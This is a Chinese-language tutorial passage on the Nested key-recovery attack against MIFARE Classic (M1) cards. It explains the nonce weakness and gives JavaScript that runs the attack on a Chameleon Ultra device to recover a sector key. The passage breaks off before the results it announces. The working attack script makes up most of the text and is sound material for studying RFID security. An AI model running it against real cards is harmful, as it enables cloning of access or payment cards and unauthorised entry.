本文章的內容僅限學術及研究用途,請勿進行任何違法行為,否則後果自負。
在成功擁有一個已知的金鑰後,就可以進一步使用 Nested 系列的攻擊手法。最早問世的 Nested 手法是利用了 M1 卡的兩個漏洞:
在成功驗證一個已知的金鑰後,第二次驗證時會傳送被加密過的卡片挑戰,但由於卡片挑戰的隨機性不足,累積兩三次的資料後,就透過校驗位元嘗試還原加密過的卡片挑戰。當卡片挑戰還原後,就可以計算 keystream 並還原金鑰。
但因為這個攻擊手法問世已久,所以比較新的 M1 卡片應該都有修復一些漏洞。如果你手上的卡片沒辦法使用這個攻擊手法,可能需要試試其他的 Nested 攻擊手法或是 Hardnested 攻擊手法。
進行 Nested 攻擊的流程為:
用變色龍進行攻擊的程式碼如下:
// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
const { Buffer, Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const key = Buffer.from('974C262B9278', 'hex') // 已知的金鑰
const keyType = Mf1KeyType.KEY_A // 使用金鑰 A
// 測試第一次驗證跟第二次驗證的卡片挑戰隨機數距離
const res1 = await ultra.cmdMf1TestNtDistance({ block: 0, keyType, key })
// 取得兩次 Nested 攻擊的資料
const res2 = await ultra.cmdMf1AcquireNested(
{ block: 0, keyType, key }, // 已知的金鑰
{ block: 4, keyType: Mf1KeyType.KEY_A }, // 想要進行攻擊的目標
)
// 計算可能的卡片金鑰
const keys = Crypto1.nested({
uid: res1.uid,
dist: res1.dist,
atks: _.map(res2, item => _.pick(item, ['nt1', 'nt2', 'par'])),
})
// 提供字典檔、最大的區段數量、以及每次處理的金鑰數量來測試 M1 卡的金鑰
const mask = new Buffer(10).fill(0xFF).writeBitMSB(0, 2) // 只檢查 Sector 1 Key A
const sectorKeys = await ultra.mf1CheckKeysOfSectors({ chunkSize: 20, keys, mask, maxSectors: 16 })
const bufToHex = buf => buf?.toString('hex').toUpperCase()
console.log(`Sector 1 Key A: ${bufToHex(sectorKeys[2])}`)
})(vm.ultra)
執行結果如下: